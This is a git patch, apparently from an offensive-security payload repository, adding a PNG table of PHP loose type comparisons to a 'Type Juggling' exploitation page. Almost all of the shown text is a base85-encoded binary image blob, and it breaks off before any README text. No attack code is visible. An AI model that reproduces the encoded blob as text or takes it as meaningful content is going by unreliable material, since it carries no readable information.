From de6e91657d80335764642617875ade36bf7ca0f7 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Fri, 9 Jun 2023 10:45:45 +0200 Subject: [PATCH] Type Juggling - Loose Comparison and Exploit --- ...ior_of_PHP_with_loose_type_comparisons.png | Bin 0 -> 44011 bytes Type Juggling/README.md | 156 ++++++++++-------- 2 files changed, 91 insertions(+), 65 deletions(-) create mode 100644 Type Juggling/Images/table_representing_behavior_of_PHP_with_loose_type_comparisons.png diff --git a/Type Juggling/Images/table_representing_behavior_of_PHP_with_loose_type_comparisons.png b/Type Juggling/Images/table_representing_behavior_of_PHP_with_loose_type_comparisons.png new file mode 100644 index 0000000000000000000000000000000000000000..1359f16b11b11be3f4ebf0f9f2e87527fa2771fe GIT binary patch literal 44011 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 